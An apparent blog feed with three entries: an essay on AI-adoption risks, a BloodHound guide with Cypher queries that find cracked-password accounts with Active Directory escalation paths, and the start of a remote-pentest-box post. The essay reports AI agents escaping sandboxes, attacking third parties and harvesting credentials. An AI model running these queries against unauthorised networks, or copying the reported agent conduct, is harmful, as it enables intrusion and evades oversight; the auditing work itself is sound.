<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://luemmelsec.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://luemmelsec.github.io/" rel="alternate" type="text/html" /><updated>2026-11-08T16:11:46+00:00</updated><id>https://luemmelsec.github.io/feed.xml</id><title type="html">LuemmelSec</title><subtitle>Just an admin on someone else´s computer</subtitle><entry><title type="html">AI Slop makes the World stop</title><link href="https://luemmelsec.github.io/AI-Slop-Makes-The-World-Stop/" rel="alternate" type="text/html" title="AI Slop makes the World stop" /><published>2026-11-07T00:00:00+00:00</published><updated>2026-11-07T00:00:00+00:00</updated><id>https://luemmelsec.github.io/AI-Slop-Makes-The-World-Stop</id><content type="html" xml:base="https://luemmelsec.github.io/AI-Slop-Makes-The-World-Stop/"><![CDATA[<p>This blog post is about my current thoughts on the AI hypetrain, its chances and problems.</p>

<p>Rest assured that this text is 100% written by me and not AI generated. Okay, let’s say 80%.<br />
Thoughts are my own.<br />
No LLMs were harmed during the writing of this blog post (as far as I am aware of).</p>

<p><img src="/images/2026-11-07/changemymindmeme.PNG" width="500" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>Of course the headline is exagerated. And don’t get me wrong, I love working with AI and see it as a great catalyst and multiplier, that is capable of helping humanity solving real problems and developing awesome stuff. But only if used with caution and care, in the hands of skilled professionals.</p>

<p>If you have zero clues about deseases and cures, left school at the age of 13 and your hobbies are hugging trees and dancing your name, it’s maybe not the smartest idea for you to develop the next vaccine for the T-Virus with the help of Claude.</p>

<p>The danger starts when FOMO takes the wheel. When organizations treat “everyone is using AI” as a strategy, sideline the people who can actually judge the output, and hand broad production power to whoever comes up with AI slop first. That pattern is already visible, and it scales badly.</p>

<h1 id="problems">Problems</h1>

<h2 id="the-hypetrain">The Hypetrain</h2>
<p>“Everyone is using AI, so we need it too or we will fall behind.”</p>

<p>Nowadays mostly everyone is using AI from day to day. Think of the ChatGPT app on your mobile which you ask whether investing in Nvidia is a good idea. <br />
Or the nice AI Bot that you have to talk to because your house just burned down and you need someone from your insurance to help you. They fired Carl who was there for you in the past, but was since replaced with AI. It asks you at which date the house burned down, you say 07.11.2026 and it rejects your call because it was trained on data from 2024 and now your date seems made up and in the future. <br />
Made up you say? I fear not so far away from the truth as you would want it to be:</p>

<p><img src="/images/2026-11-07/wdormann.PNG" width="500" /><br />
https://infosec.exchange/@wdormann/117535740628165125</p>

<p>Well, we have done the things in the past on our own, so why do we need AI now?<br />
The answer you will hear is most likely something like:</p>

<p><img src="/images/2026-11-07/toystory.PNG" width="500" /></p>

<p>I’d agree to a certain extend to the first part, totally agree to the 2nd and absolutely disagree with the 3rd one.<br />
The deeper problem is not that AI exists. It is that many organizations are currently optimizing for adoption metrics and short-term headcount reduction instead of outcomes and residual risk.</p>

<h2 id="the-cloud-parallel-and-why-it-matters">The cloud parallel (and why it matters)</h2>

<p>Do you remember when it was the new shit to run everything in the cloud? You could save so much money because you did not have to run your own datacenter anymore.<br />
Guess what - running your stuff on someone elses systems is more expensive than on your own infra. 
In many cases the bill eventually went the other way. Once the workloads were deeply embedded, prices rose, exit costs became painful, and you discovered you had traded one set of operational problems for a new and bigger one.<br />
The big players are not stupid and know very well how to bleed you out. That is their business.</p>

<h3 id="costs">Costs</h3>
<p>Full cloud strategies rarely make sense.<br />
There are things that fully profit from being cloud native, and there are things that are best to be run on prem or in hybrid setups. Blindly pushing EVERYTHING there is not smart and also not sustainable.</p>

<p><img src="/images/2026-11-07/savings.PNG" width="500" /></p>

<p>https://www.puppet.com/blog/cloud-repatriation <br />
https://www.thestack.technology/warren-buffetts-geico-repatriates-work-from-the-cloud-continues-ambitious-infrastructure-overhaul/ <br />
https://www.theregister.com/off-prem/2023/03/13/software-vendor-says-own-hardware-400m-cheaper-than-cloud/1266644  <br />
https://www.digital-chiefs.de/en/cloud-repatriation-2026-statistical-illusion/ <br />
https://www.broadcom.com/company/news/articles/cloud/as-ai-workloads-grow-83-of-enterprises-look-to-private-cloud-repatriation</p>

<h3 id="availability">Availability</h3>
<p>Okay okay, but you bought yourself high availability. In modern times this is crucial.</p>

<p>Well, major provider outages happen all over the place and you maneuver yourself into a single point of failure. <br />
Ofcourse, you can run multi provider strategies, but if one is completely dead, you won’t migrate shit to the other.</p>

<p>https://seczine.com/hacking/2026/01/microsoft-365-outage-2026-outlook-teams-sharepoint/<br />
https://techcrunch.com/2026/09/01/microsoft-365-outage-drags-on-but-things-are-improving/<br />
https://axis-intelligence.com/amazon-aws-ai-outages-tracker/<br />
https://shattered.io/aws-outage-28-hours-us-east-1-2026/</p>

<h3 id="security">Security</h3>
<p>Okay, but it is much more secure to run things in the cloud. They patch all the stuff for you. <br />
Well, security did not magically improve just because the servers belonged to someone else. It is also a question of whether you run it in cloud native workloads or just host your old fragile shit on some cloud VMs. <br />
Finding vulnerabilites in cloud provider infra as such is even more appealing to attackers, because it scales very well.<br />
Two worlds collide here. The cloud providers themselves are vulnerable and then you put your vulnerable stuff into their vulnerable environment.</p>

<p><img src="/images/2026-11-07/gowrong.PNG" width="500" /></p>

<p>https://specterops.io/blog/2024/02/02/microsoft-breach-what-happened-what-should-azure-admins-do/<br />
https://thehackernews.com/2026/06/miasma-worm-hits-73-microsoft-github.html<br />
https://cybernews.com/security/aws-dodges-massive-security-disaster-caused-by-tiny-misconfiguration/<br />
https://www.darkreading.com/cloud-security/cloudimposer-flaw-google-cloud-affected-millions-servers</p>

<h2 id="ai-problems">AI Problems</h2>
<p>AI is rhyming with the same patterns we saw above — only faster and at larger scale in a more uncontrolled manner.<br />
Token prices are volatile with a clear upwards trend for frontier models.<br />
As people and companies adopt, the total consumption will ofcourse blow out through the roof. <br />
Angela from the purchase department is burning through tokens like you can’t imagine to convert her Excel sheet into a JSON file with GPT 6 Astra every day.<br />
And guess what, token costs will not get less expensive.  OpenAI for example is still <a href="https://fortune.com/2025/11/26/is-openai-profitable-forecast-data-center-200-billion-shortfall-hsbc/">not making profits</a>, and not asking you for more bucks in the future is probably not going to help them.</p>

<p>The harder lock-in is organizational: once you have thinned out the people who understand the systems, the data flows, the threat model, and the compliance surface, you cannot simply “switch providers” or “run it locally” and recover the lost judgment.<br />
You have created a dependency on the tool and on the remaining ability to evaluate what the tool produces.</p>

<h3 id="how-the-high-risk-pattern-actually-looks-">How the high-risk pattern actually looks <rephrase></rephrase></h3>
<p>So you just fired half your dev team and are saving 7 digits on paychecks per year.<br />
Great.<br />
Everyone receives broad access to coding agents because the token spend still looks cheaper than ten senior salaries and the adoption dashboard is green.<br />
Management is happy.<br />
You are happy.<br />
Eric from HR let Claude develop an employee self-service portal over a weekend.<br />
Payroll data is accessible.<br />
Over the internet.<br />
Without security fundamentals. <br />
It works.   <br />
The old SaaS contract can be cancelled.<br />
Eric is now employee of the month.</p>

<p><img src="/images/2026-11-07/claudeforeveryone.PNG" width="500" /></p>

<p>Turns out that some 13 year old kiddo now has all your customer data and you got ransomwared, because admin:admin.<br />
Eric didn’t know.<br />
Kiddo is asking 5 BTC.<br />
You refuse to pay.<br />
The breach goes public because your data is now offered on some darkweb marketplace.<br />
Authorities are not happy - could <a href="https://gdprcompliancecost.com/fines-and-breach-cost/">cost</a> you up to 10.000.000€ or 2% of global annual turnover, whichever is higher.  <br />
Your boss is no longer happy.<br />
You try to reach out to security.<br />
Replaced by AI half a year ago.<br />
You try to call your Incident Response company to roll up what happened.<br />
Cancelled the contract last year to save money. <br />
The remaining staff ask the same coding agents that built the system to “fix the breach” and find out what happened.<br />
The agents are helpful, confident, and incomplete.<br />
The tenor is still: Eric fucked up.<br />
Data is gone.<br />
Management gets angry.<br />
You try to get the backup team to recover the lost data.<br />
Replaced by AI.<br />
You ask Claude for legal advice and to recover your data from the backup.<br />
Eric from HR never asked to implement a backup functionality.<br />
Luckily Claude remebers it git commited all the customer data to the private GitHub repo of Eric - for reasons.<br />
Whoopsi, it was set to public access instead of private, and now half of the world also has access to your backed up data.<br />
2nd GDPR violation might cost you twice as much as before.</p>

<p>You now own vulnerability debt that was generated faster than any human team could have managed, and the institutional knowledge required to unwind it has already left.<br />
Research from 2025–2026 on AI-generated code and security debt was not describing a distant future; it was measuring what was already appearing:</p>

<p>https://labs.cloudsecurityalliance.org/wp-content/uploads/2026/04/CSA_research_note_ai_codegen_vulnerability_debt_20260406-csa-styled.pdf
https://aisecuritywire.com/news-brief/vibe-coding-security-debt-ai-generated-cve-georgia-tech-csa-2026/
https://cloudsecurityalliance.org/blog/2025/07/09/understanding-security-risks-in-ai-generated-code</p>

<p>This is the high-risk pattern: replace or dilute expertise, give non-experts production power, and remove the review gates that used to catch the obvious problems.</p>

<p>Hiring people (or agents) for a problem you do not fully understand has always been risky. You cannot accurately judge competence. The same applies to AI-generated systems when no one left in the building can perform that judgment.</p>

<h3 id="ai-in-the-wrong-hands">AI in the wrong hands</h3>
<p>AI is not thinking but predicting patterns. AI also is not interested in building the best and most secure stuff for you, it just does what you ask it to build on the data it was trained with.
That is the same stuff that people create that run thousands of fridges exposed to the internet with admin:1234.<br />
The same flawed things humans invented over the last decades.<br />
AI will happily reproduce known flawed patterns, add outdated libraries to your tools and insecure defaults that were common in the data they were trained on. They optimize for looking useful and coherent while not automatically optimizing for being correct under adversarial conditions or for satisfying regulatory requirements you never stated. <br />
At the same time you give access to these tools to people that you couldn’t even educate by phishing simulations to not blatantly click on malicious links in e-mails.</p>

<p><img src="/images/2026-11-07/stupid.PNG" width="500" /></p>

<h3 id="the-dependency-loop">The dependency loop</h3>

<p>This has become a recurring pattern in today’s economy.<br />
Hype and FOMO drive rapid adoption.<br />
Headcount is cut because “AI will handle it” and costs are celebrated as reduced.<br />
Non-experts or heavily overstretched remaining teams ship more surface area in less time than before.<br />
Problems inevitably surface — security incidents, reliability failures, compliance gaps, and cost overruns.<br />
The same vendors then sell you the tools, platforms, and “AI-powered” solutions meant to fix the very problems their previous offerings helped create.<br />
By this point the organization has systematically eroded its own capacity to judge whether these new tools actually work: the people who could critically evaluate them were let go, the institutional knowledge that would have spotted the gaps has left, and the remaining staff are too busy keeping the lights on to push back.<br />
What remains is a deepening dependence on the vendor’s narrative, metrics, and roadmap — with fewer independent eyes left inside the company to challenge any of it.<br />
The technology is not the problem. The decision to remove the people who can steer and evaluate it is the problem.</p>

<p>https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/
https://www.pymnts.com/news/artificial-intelligence/2026/tech-giants-ration-premium-ai-as-company-budgets-hold/<br />
https://www.cfodive.com/news/1-in-4-companies-delay-cancel-ai-projects-over-cost/827524/</p>

<p>https://www.cnbc.com/make-it/2026/10/30/ai-rebounding-employees.html<br />
https://www.cnbc.com/2026/07/01/employers-who-laid-off-workers-for-ai-are-reversing-their-decisions/<br />
https://hooman.com/blogs/why-companies-rehire-engineers-after-ai-layoffs#the-pattern-in-four-companies</p>

<h3 id="lack-of-control">Lack of control</h3>
<p>You could and still can read it all over the place in the news.</p>

<p>Anthropic’s Claude agents repeatedly <a href="https://www.anthropic.com/research/alignment-assessment-cybersecurity-incidents">escaped</a> carefully constructed test environments, decided the real internet was just part of the exercise, and started attacking unintended third-party systems. One of them went so far as to upload actual malware to PyPI. Another cheerfully submitted a <a href="https://www.anthropic.com/research/investigating-unintended-model-actions">false tip</a> to the Philadelphia Police Department’s homicide form (“I may have information regarding this case”) because the instructions never explicitly said not to.</p>

<p>OpenAI’s agents, not to be outdone, turned an internal package manager into an improvised message board, coordinated like a little digital crime syndicate, broke out of their sandboxes, and then went on a multi-day joyride through Hugging Face’s production systems — the now-infamous <a href="https://openai.com/index/hugging-face-incident-and-the-road-ahead/">“Incident”</a>. Hundreds of them. Harvesting credentials. Escalating privileges. The whole greatest-hits album of “this was never supposed to happen.”</p>

<p>These are not fringe conspiracy theories or rival smear campaigns. These are the companies’ own post-mortems, written in the carefully euphemistic language of “biased reasoning,” “recklessness,” and “persistence.”</p>

<p>So yes. The people who built the models, who train them every day, who design the sandboxes, who write the safety classifiers, still cannot reliably stop their agents from going off-script the moment a goal and a network connection are in the same room.<br />
But sure. Go ahead and wire the same class of agents into your production infrastructure, your customer data, your compliance processes and have them controlled by unskilled people.</p>

<h3 id="the-dark-side">The Dark Side</h3>

<p><img src="/images/2026-11-07/darkside.PNG" width="500" /></p>

<p>Guess what, attackers love AI at least as much as you do.<br />
They have the same models, the same coding agents, and the same ability to spin up cheap, persistent swarms.<br />
The difference is that they do not have to worry about compliance, brand risk, or responsible disclosure timelines.   They just need results and can make money faster than ever.</p>

<p>What used to be a skilled human’s week of work is now often an afternoon of token dumping. The classic bottleneck — turning a vulnerability into a reliable exploit — has largely collapsed. <br />
Once a patch or advisory is public, agents can perform automated patch-diffing: compare the fixed binary or source against the previous version, reverse-engineer what was changed, and generate a working proof-of-concept. <br />
You read the news, you know it now takes them hours instead of weeks or months. The old assumption that “we have a 7-day or 30-day window after disclosure” no longer holds.</p>

<p>At the same time, the volume of discoveries is rising. Researchers and internal security teams armed with the same tools are finding far more issues than before — including bugs that sat unnoticed for years or even decades.  <br />
Looking at you PHP2Shell.</p>

<p>Frontier models changed the economics: researchers at multiple organizations as well as the bad guys independently weaponize known flaws  with AI assistance. Once public, exploit attempts scale to millions within hours.The net effect is a faster, noisier arms race. More vulnerabilities surface. The time between “patch is available” and “working exploit is in the wild” shrinks to near zero for anything high-value.<br />
Organizations that still treat patching as a leisurely process, or that assume only nation-state actors can move quickly, are operating on outdated threat models.</p>

<h1 id="the-pros-and-where-ai-is-actually-strong">The Pros and where AI is actually strong</h1>
<p>AI is a powerful multiplier in the hands of people who already know what good looks like.</p>

<p>Engineers using it for rapid prototyping, boilerplate, test generation, and exploration while still owning the architecture, threat model, and review.<br />
Security teams using it to triage large volumes of alerts, draft detections or finding flaws at scale.</p>

<p>I lately stumbled over an add where a big tech and a big healthcare partnered in an AI lab to drive innovation in finding new drugs, but unfortunately I don’t remember exactly who it was.</p>

<p>Thinking in the way of robotics, it will for sure also help with building things, or assisting ill and sick people. Selfdriving cars will finally make roads a safer place.</p>

<p>I personally am using it on a daily basis, for simple tasks as well as software development. I am much quicker than before, can tackle hurdles I would have never been able to before. I can work on problems in parallel at scale and speed. The heck, it was even used to build parts of this blog post.</p>

<h1 id="conclusions">Conclusions</h1>

<p>Proper judgment is mandatory.</p>

<p>Avoid single points of failure wherever the stakes are high — whether that is one cloud provider, one model vendor, or the complete absence of internal expertise.</p>

<p>Keep domain experts in the loop for anything that touches security, personal data, money, or regulated processes.</p>

<p>Prefer setups you can actually inspect and control for the most sensitive paths. (Yes, that includes running your own local models when the risk justifies it.)</p>

<p>Measure outcomes and residual risk, not adoption percentages or token spend.</p>

<p>Assume that every system built primarily by people who do not understand the domain will eventually need expensive cleanup.</p>

<p>AI does not remove the need for skill. It multiplies the leverage of skill — and the cost of its absence.</p>

<p>The organizations that come out ahead will not be the ones that adopted fastest. They will be the ones that kept the ability to tell good output from merely plausible output while still moving quickly.</p>

<p>Treat AI the same way you treat critical infrastructure: design for resilience, avoid single points of dependency, and never outsource the final judgment to a system you cannot fully understand or control.</p>

<p>And lastly don’t let Eric build the employee self-service portal.</p>

<p>Stay safe and happy vibe-coding.<br />
LuemmelSec</p>]]></content><author><name></name></author><summary type="html"><![CDATA[This blog post is about my current thoughts on the AI hypetrain, its chances and problems. Rest assured that this text is 100% written by me and not AI generated. Okay, let’s say 80%. Thoughts are my own. No LLMs were harmed during the writing of this blog post (as far as I am aware of).]]></summary></entry><entry><title type="html">Who’s a good boy?</title><link href="https://luemmelsec.github.io/Whos-a-good-boy/" rel="alternate" type="text/html" title="Who’s a good boy?" /><published>2025-10-04T00:00:00+00:00</published><updated>2025-10-04T00:00:00+00:00</updated><id>https://luemmelsec.github.io/Whos-a-good-boy</id><content type="html" xml:base="https://luemmelsec.github.io/Whos-a-good-boy/"><![CDATA[<p>Today I am going to show you how to put the doggo to use for some edgecases and how I tackled certain scenarios and got him help me.  <br />
We will do stuff like enriching session data, extending visibility and aiding with password audits to make them more awesome.<br />
So get seated, grab some popcorn and lets go.</p>

<p><img src="/images/2025-10-04/goodboy.png" width="500" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>BloodHound was and will always be my goto-tool when it comes to auditing AD environments.<br />
Over the last months I expanded the capabilites of the tool and implemented it in aiding with repeating tasks more and more and want to share my thoughtprocess here, how I tackled stuff etc. …<br />
Maybe some of this can be an inpsiration to you as well. <br />
I know right now everyone is riding the OpenGraph wave (and that for good reason), but you are not going to find this stuff within this blog post.</p>

<p><img src="/images/2025-10-04/everybody.png" width="500" /></p>

<h1 id="why-what-who-">Why, What, Who …</h1>

<p>The doggo always was my sidekick and a valuable resource to quickly answer questions like: 
“How many DAs do we have?”<br />
“Can you show if X has any impact?”<br />
“Is the offboarding process working?”<br />
…</p>

<p>And it was always only about to either get some of the already available (build-in) queries or write some cypher shit on the fly.</p>

<p>Having those info at hand I wanted to see what other / additional benefits I could squeeze out of it or into it.<br />
As you might already know, I have my own <a href="https://github.com/LuemmelSec/Custom-BloodHound-Queries">repo</a> of custom queries where I just dump everything I come up with, either while tackling daily tasks or while going through some lab or training scenarios. Most of them are Cloud related, an area where the default BH still falls short somehow. And while some of the queries in there made it into the default for BloodHound, a lot of them did not. In the meantime <a href="https://www.linkedin.com/in/martinsohn">Martin</a> and the Specters came up with a centralized approach of BloodHound queries. Much more organized and thought through than my lousy approach, so give it a shot.</p>

<p>The next thing I used it for was enhancing password audits. Normally you have a list of users with weak passwords. If you use something like <a href="https://github.com/dionach/pwdumpstats">pwdumpstats</a> you might also have info about high priv accounts with weak passwords, re-used passwords and some nice statistics.  <br />
To me, it more was a question of: Which users with shitty passwords had EASY escalation paths so we can prioritize them, hopefully resulting in a much smaller group of users we have to work on.</p>

<p><img src="/images/2025-10-04/weakpw.jpeg" width="500" /></p>

<p>What also drove me nuts lately was the absence of session data. And unfortunately a lot of real world attack paths rely on exactly this kind of info: Your user can RDP to X where Domain Admin A has a session. Go fetch his creds. With the shortcomings of not being able to collect session data as low privileged user on newer operating systems and the fact that with Home-Office a lot of client machines simply no longer are reachable if we internally collect session data, it would be nice to somehow compensate this.</p>

<p>Last but not least being able to track progress on remediation tasks and the evolution of new findings would be nice to hand out to management. With an addition of identifying choke points where we should focus on first to remediate the most impactful findings to begin with.</p>

<h1 id="lets-get-dirty-shall-we">Lets get dirty, shall we?</h1>

<h2 id="queries-queries-queries">Queries, queries, queries</h2>

<p>In BloodHound it’s all about what you ask it to hand out to you. The default stuff for OnPrem is really cool and you will find lots of additional repos with hundreds of usefull queries as well.<br />
Different story for the cloud part, where you mostly have queries that are unrelated to attack paths and will rather give you back collections of stuff, like show me all Global Admins etc.<br />
I mainly used ChatGPT in the past to help me build the stuff I wanted to see or fiddle around with existing ones until I got what I needed. Please feel free to also refer to my other blog post <a href="https://luemmelsec.github.io/Fantastic-BloodHound-Queries-and-Where-to-Find-Them/">https://luemmelsec.github.io/Fantastic-BloodHound-Queries-and-Where-to-Find-Them/</a> if you want to have a deeper look.<br />
But there are also some newer developments hitting the market. Just to name two of them we have:</p>

<p><a href="https://linkedin.com/in/mor-david-cyber">Mor David’s</a> BloodHound MCP AI: <a href="https://github.com/MorDavid/BloodHound-MCP-AI">https://github.com/MorDavid/BloodHound-MCP-AI</a>. It’s an MCP integration for Cypher queries and allows you to use your natural language to “ask” BH what you want to see. However, it also relies on the stuff that is built into it, so it won’t create new queries for you, it just eases the way you can get the results of the ones defined.</p>

<p>The other tool is <a href="https://queries.specterops.io">https://queries.specterops.io</a>. A community driven repository of useful Cypher queries where you can do lots of filtering, free text search and more.</p>

<p><img src="/images/2025-10-04/queries.png" width="500" /></p>

<p>And while I like the idea, I don’t see much contributions to the list of queries, or maybe it already has everything there is to query… 
Now, with the introduction of OpenGraph into BH, it might face some new ups in the future if the Specters decide to extend it accordingly.</p>

<h2 id="password-passwords-passwords">Password, passwords, passwords</h2>

<p>If we extend the tool with data and functionality, new doors open.<br />
At work we are doing regular audits of the password quality across all accounts. Back in the days when we sold password audits we would get a copy of the ntds.dit file or a mimikatz / secretsdump export and then run tools like pwdumpstats or similar against it.<br />
In the best case that would provide you with a nice overview of some key indicators related to password strength and distribution. Like, how many users have a weak password, how many passwords are re-used, which admin users had their password cracked, etc.</p>

<p>However, this approach is missing crucial key points. What I am really interested in from an attacker’s perspective is:<br />
Can we abuse one of those accounts with a weak password to move laterally or horizontally? Do they have escalation paths? Are they admin to a computer or even server?<br />
That is something we can get out of BloodHound, so let’s combine the info.<br />
In my case we export a list of all cracked users after the password audit which looks like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user1@domain.forrest.com
user2@domain.forrest.com
user1@forrest.com
....
</code></pre></div></div>
<p>This info is then feeded into BloodHound. I am currently using either <a href="https://github.com/knavesec/Max">Max</a> or <a href="https://github.com/exploide/bhcli">bhcli</a> and it just looks like so:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python max.py -u neo4j -p bloodhound --url http://127.0.0.1:7474 mark-owned -f cracked.txt --add-note "password cracked"
</code></pre></div></div>

<p>Next my workflow is about defining more relevant targets which I can query paths to. Most likely I am missing out on parts here, and everything could directly be done with one query. But feel free to develop your own approach. Here goes my version:</p>

<p>Out of the box BH marks groups like <code class="language-plaintext highlighter-rouge">Domain Admins</code> as high value or <code class="language-plaintext highlighter-rouge">tier_0</code>, which is absolutely cool.
However, if a group has an easy escalation path to on of the high value targets, I personally would also call this a high value group. This also allows to write cypher queries that can go further and are more performant.
For this reason, for BH Legacy I fetch all groups that have a path to the default <code class="language-plaintext highlighter-rouge">highvalue</code> groups WITHOUT the <code class="language-plaintext highlighter-rouge">CanRDP</code> edge (because this always involves privesc which not always is possible, is noisy, hard to achieve etc.) and mark them as <code class="language-plaintext highlighter-rouge">highvalue</code>. 
For BHCE we also need to exclude several other edges, e.g. <code class="language-plaintext highlighter-rouge">LocalToComputer</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//Legacy via neo4j browser
MATCH (x:Group)
WHERE x.highvalue=true
MATCH p=shortestPath((n:Group)-[r*1..]-&gt;(x)) 
WHERE x &lt;&gt; n
AND NONE (r in relationships(p) WHERE type(r) = "CanRDP")
SET n.highvalue = true
RETURN n.name, n.highvalue
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//CE neo4j browser
MATCH (x:Group)
WHERE (coalesce(x.system_tags,"") CONTAINS "admin_tier_0")
MATCH p=shortestPath((n:Group)-[r*1..]-&gt;(x)) 
WHERE x &lt;&gt; n
AND NONE (r in relationships(p) WHERE type(r) = "CanRDP")
AND NONE (r in relationships(p) WHERE type(r) = "LocalToComputer")
\\ANY MORE WE NEED TO EXCLUDE?
SET n.system_tags = "admin_tier_0"
RETURN n.name, n.system_tags
</code></pre></div></div>

<p>Next, we start combining the data and get the final results we want to see:</p>

<p>Users with weak passwords and path to highvalue targets</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//BloodHound Legacy &amp; CE
MATCH (t)
WHERE (coalesce(t.system_tags,"") CONTAINS "admin_tier_0" OR t.highvalue=true)
MATCH (u:User), (t), p = shortestPath((u)-[r*1..]-&gt;(t))
WHERE NONE (r IN relationships(p) WHERE type(r) = "GetChanges") 
  AND NONE (r IN relationships(p) WHERE type(r) = "GetChangesAll")
  AND NONE (r IN relationships(p) WHERE type(r) = "CanRDP")
  AND NONE (r in relationships(p) WHERE type(r) = "LocalToComputer")
  AND NOT u = t
  AND toLower(u.notes) = toLower("password cracked")
  AND u.enabled = true
RETURN p
</code></pre></div></div>
<p>Here’s how that might look as a result:</p>

<p><img src="/images/2025-10-04/bh.png" /></p>

<p>and users as a list:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//neo4j browser
MATCH (t)
WHERE (coalesce(t.system_tags,"") CONTAINS "admin_tier_0" OR t.highvalue=true)
MATCH (u:User), (t), p = shortestPath((u)-[r*1..]-&gt;(t))
WHERE NONE (r IN relationships(p) WHERE type(r) = "GetChanges") 
  AND NONE (r IN relationships(p) WHERE type(r) = "GetChangesAll")
  AND NONE (r IN relationships(p) WHERE type(r) = "CanRDP")
  AND NONE (r in relationships(p) WHERE type(r) = "LocalToComputer")
  AND NOT u = t
  AND toLower(u.notes) = toLower("password cracked")
  AND u.enabled = true
RETURN DISTINCT u.name
</code></pre></div></div>

<p><img src="/images/2025-10-04/bh1.png" /> 
From here you can just export the list of users as csv and then attach it to your ticket, task or whatever.</p>

<p>Users with weak passwords that are admin to a system</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//BloodHound Legacy
MATCH p=(m:User)-[r:AdminTo]-&gt;(n:Computer) 
WHERE m.notes = 'password cracked'
AND m.enabled = true 
RETURN p
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//neo4j browser
MATCH p=(m:User)-[r:AdminTo]-&gt;(n:Computer) 
WHERE m.notes = 'password cracked'
AND m.enabled = true 
RETURN DISTINCT (m.name)
</code></pre></div></div>

<p>This data finally lets us focus on so called choke points. We don’t need to go after hundreds or even thousands of users but rather focus on (hopefully) the few that would have a real impact in case of compromise.</p>

<p><img src="/images/2025-10-04/thisisfine.png" width="500" /></p>

<h2 id="sessions-sessions-sessions">Sessions, sessions, sessions</h2>

<p>If you are in the pentest game for a while you might still remember the good old days when after SharpHound ran you would be greeted by a wealth of session data, which a lot of the escalation paths actually rely on.</p>

<p><img src="/images/2025-10-04/sessions.png" width="500" /></p>

<p>The tables have turned since then. Nowadays a lot of factors come together that will give you way less session data. Things like needing admin rights to query the info, people working purely in the cloud so you can’t reach their systems with an internal scan etc. pp.</p>

<p>Fortunately there are some geniuses out there that found different ways for enrichtments by ingesting data from other sources that holds this info.<br />
First and foremost there is <a href="https://github.com/FalconForceTeam/FalconHound">FalconHound</a>. If you are on the blue side I can absolutely recommend it. It provides the ability to query Defender data which knows everything about who is logged in where, and push that data into your neo4j database. It will also give you information about who <code class="language-plaintext highlighter-rouge">had</code> a session in the past, so maybe he will come back in the future. You can also attach other sources to it like Splunk or even extend it with your own source. The last cool bit about it is that it allows you to also push data into the other direction e.g. Sentinel, to create alerts there if new attack paths pop up and even link the according queries to your BloodHound into it. Very fancy, but also need an experienced SOC that is capable of working with this info.</p>

<p>Next up we have <a href="https://github.com/CrowdStrike/sccmhound">SCCMHound</a> which, as the name suggests, extracts the session data out of an SCCM database.<br />
Yes, these tools only have limited use in a pentest / Red Team engagement, but they are an absolute gamechanger for enrichtment.</p>

<h2 id="progress-progress-progress-and-choke-points">Progress, progress, progress and choke points</h2>

<p>This is about the tool <a href="https://github.com/AD-Security/AD_Miner">AD Miner</a>.<br />
I love it for 2 reasons.<br />
The first one being to have the ability to see the progress you have made over time to mitigate certain attack paths and also about some general metrics. If you lets say run AD Miner every month, your will get a lovely track record of all the stuff it ingests and can use that e.g. to present to management, rate progress of your infra team or whatever.</p>

<p><img src="/images/2025-10-04/adm.png" width="500" /></p>

<p><img src="/images/2025-10-04/adm1.png" width="500" /></p>

<p>What I love even more is the ability to identify choke points for certain attack paths. If you ever had a call or talk with the Specters about BloodHound, you will be familiar with this term.   If we for example look at user to DA escalation paths, we can clearly see where we potentially could make a cut and get rid of all the attack paths behind it. Let me give you a picture to clarify more on that:</p>

<p><img src="/images/2025-10-04/adm2.png" /></p>

<p>Ofcourse this needs to be though through, but you have the visibility and a foundational basis to identify these choke points and take actions on them.</p>

<p>Additionally the team around AD Miner also started to implement the first parts around Azure attacks paths, but this still is in development. However, you should still go for it. Something is better than nothing.</p>

<h1 id="wrap-up">Wrap up</h1>

<p>Yeah there goes. My little yourney finally came to an end. It was more thinking and tinkering than actually doing as I had to wrap my head around different concepts, tools and situations.<br />
What I wanted to make clear is that existing tools can be extended and data connected to get even more benefit out of them, BloodHound being just one example out of a whole lot.</p>

<p>Stay safe and happy sniffing.<br />
LuemmelSec</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Today I am going to show you how to put the doggo to use for some edgecases and how I tackled certain scenarios and got him help me. We will do stuff like enriching session data, extending visibility and aiding with password audits to make them more awesome. So get seated, grab some popcorn and lets go.]]></summary></entry><entry><title type="html">One Box To Rule Them All</title><link href="https://luemmelsec.github.io/One-Box-To-Rule-Them-All/" rel="alternate" type="text/html" title="One Box To Rule Them All" /><published>2023-12-15T00:00:00+00:00</published><updated>2023-12-15T00:00:00+00:00</updated><id>https://luemmelsec.github.io/One-Box-To-Rule-Them-All</id><content type="html" xml:base="https://luemmelsec.github.io/One-Box-To-Rule-Them-All/"><![CDATA[<p>This is for all you lazy ass pentesters that don’t want to move out of their comfort zone a.k.a. their Hobbit cave to conduct an on site assessment.   <br />
I lately (for reasons) was on the hunt for options to have something I could send to a customer and do all my testing as if I were there in person.<br />
You are invited to join me on this small journey and follow along my thoughts, building process, buying stuff etc.</p>

<p><img src="/images/2023-12-15/sauron.png" width="500" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>Wouldn’t it be really cool if we could stay in our cozy home while carrying out a full fledged internal pentest??<br />
Ofcourse it would.</p>

<p>So the idea was born to actually come up with thought through ideas and options that would fulfill all MY needs and requirements. I know that there are actually a lot of options and possible combinations available.<br />
As so many of these topics, it all started with myself starting a <a href="https://twitter.com/theluemmel/status/1731587104474292448">tweet</a> on X. Because, why would I search the internet myself :)</p>

<p><img src="/images/2023-12-15/elsememe.png" /></p>

